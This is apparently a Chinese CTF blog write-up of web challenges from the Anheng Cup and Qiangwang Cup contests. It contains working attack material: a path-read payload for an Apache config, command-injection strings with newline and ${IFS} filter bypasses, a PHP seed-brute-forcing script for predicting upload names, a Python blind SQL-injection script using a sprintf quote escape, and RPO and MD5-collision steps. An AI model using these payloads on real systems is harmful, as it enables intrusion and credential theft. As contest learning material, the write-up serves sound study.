打了两天的比赛,第一个专心打了强网杯emm 题目是真的难 第二天去安恒杯水了水 还是安恒的题目比较友好,强网杯的web+pwn真的无力。。
简单总结一下吧。
安恒杯
题目名字想不起来了。
WebScan
第一个给了个扫描报告,结合题意可以知道是利用文件读取漏洞,直接去读apache2的配置文件。
file=/etc/httpd/conf/httpd.conf
web2
考点是命令执行+zip伪协议+伪随机数预测文件名
没有截图,先是个ping命令,0.1.0.1%0als
这里我随便弄了个错误的ip这样可以不用进入ping循环了,读到you_find_upload.php文件,可以看到一个上传页面,主要是
time() % rand(1,100000)%rand(1000,9000)文件命名是这个,但是一开始没有配置好,有列目录漏洞,可以直接上传了看了upload目录下名字,后来修上了。1
2
3
4
5
6
7
8
9
10
11
12
13
14<?php
$a=0;
$k=0;
$myfile = fopen("testfile.txt", "w");
while(1){
$a=(time() % rand(1,100000)%rand(1000,9000));
mt_srand($a);
$txt=mt_rand().' '.mt_rand()."rn";
fwrite($myfile, $txt);
$k++;
if($k==100000) break;
}
写脚本预测下,直接去里面找,当然这样写的话不一定爆破到种子,调大一点就OK了。
然后结合zip伪协议,但是过滤了../,也就是说使用zip伪协议的时候没法直接使用相对路径来查找,但是在源代码里可以看到绝对路径,直接绝对路径来getshell。
艰难的bypass
这个考点是之前那个sprintf造成的引号逃逸,还有就是waf比较难饶,直接上脚本吧。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17# -*- coding: UTF-8 -*-
import requests
url = ""
def check(payload):
postdata = {'username':payload,'passwd':'xx'}
r = requests.post(url,postdata).content
#print r
return "password error!" in r
password = ''
for i in xrange(32):
for j in range(45,127):
payload = "%1$' || id=2 && binary passwd
print payload
if check(payload):
password = password + chr(j-1)
break
print password
然后username=username=%1$' || id=2 && binary passwd
登录之后是一个命令执行,直接给出payload吧:
%0als${IFS}$(expr${IFS}substr${IFS}$PATH${IFS}1${IFS}1)
强网杯
Three hit
这道题目是个二次注入,注入点在age,可以16进制编码绕过限制。
直接union查询把数据带出来
Share your mind
这里是rpo攻击的,附文章一篇1http://blog.nsfocus.net/rpo-attack/
首先看到1http://39.107.33.96:20000?dd
不太清楚bot是怎么写的。
但是开着httponly,达不到cookie,后来经表哥指导知道是rpo攻击,
首先写入js代码,另标题为空绕过h1的坑
然后构造1http://39.107.33.96:20000/index.php/view/article/29593/..%2F..%2F..%2F..%2Findex.php
这里因为解析的问题导致漏洞的产生,客户端是把..%2F..%2F..%2F..%2Findex.php当成了一个文件,而服务端就一级一级往上跳了,相当于http://39.107.33.96:20000/index.php
但是在加载http://39.107.33.96:20000/index.php的时候会调用两个js文件。
路径是static/article/xxx啥啥啥的,但是客户端把..%2F..%2F..%2F..%2Findex.php解析成一个文件,也就是在http://39.107.33.96:20000/index.php/view/article/29593/这个目录调用相对路径的js代码,拼接起来相当于1http://39.107.33.96:20000/index.php/view/article/29593/static/article/xxx
这样的话也就加载了我们写入的js代码,既然到了这里,那么就可以随心所欲了。
python1
二次注入,构造闭合插入多条数据,直接在留言板找到flag。
web签到
主要是三层的md5绕过,前两层都可以直接数组绕过,最后一个利用两个文件的md5相同,但是实际bin数据却不同来做。1https://natmchugh.blogspot.com/2014/10/how-i-made-two-php-files-with-same-md5.html